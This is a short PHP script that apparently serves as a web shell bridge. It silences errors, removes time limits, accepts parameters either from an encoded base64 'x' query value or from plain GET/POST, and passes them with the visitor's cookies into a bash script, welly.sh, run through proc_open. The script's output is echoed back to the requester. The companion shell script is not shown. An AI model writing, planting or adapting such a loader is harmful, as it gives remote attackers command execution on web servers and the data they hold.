<?php
@set_time_limit(0);
error_reporting(0);
$SH = __DIR__ . '/welly.sh';
header('Content-Type: text/html; charset=utf-8');
if (!is_file($SH)) { echo "missing $SH"; exit; }
$params = [];
if (isset($_GET['x'])) {
    $raw = base64_decode(strtr($_GET['x'], '-_', '+/'), true);
    if ($raw !== false) parse_str($raw, $params);
}
if (empty($params)) $params = array_merge($_GET, $_POST);
$qs = http_build_query($params);
$env = [
    'QUERY_STRING'    => $qs,
    'REQUEST_METHOD'  => 'GET',
    'CONTENT_TYPE'    => 'application/x-www-form-urlencoded',
    'CONTENT_LENGTH'  => (string)strlen($qs),
    'HTTP_COOKIE'     => $_SERVER['HTTP_COOKIE'] ?? '',
    'REMOTE_ADDR'     => $_SERVER['REMOTE_ADDR'] ?? '127.0.0.1',
    'PATH'            => getenv('PATH') ?: '/usr/local/bin:/usr/bin:/bin',
    'HOME'            => getenv('HOME') ?: sys_get_temp_dir(),
    'USER'            => function_exists('posix_getpwuid') ? (posix_getpwuid(posix_geteuid())['name'] ?? 'user') : 'user',
    'SHELL'           => '/bin/bash',
];
$d = [1=>['pipe','w'],2=>['pipe','w']];
$p = @proc_open('/bin/bash '.escapeshellarg($SH), $d, $pp, getcwd(), $env);
if (!is_resource($p)) { echo "proc_open failed"; exit; }
echo stream_get_contents($pp[1]);
echo stream_get_contents($pp[2]);
fclose($pp[1]); fclose($pp[2]); proc_close($p);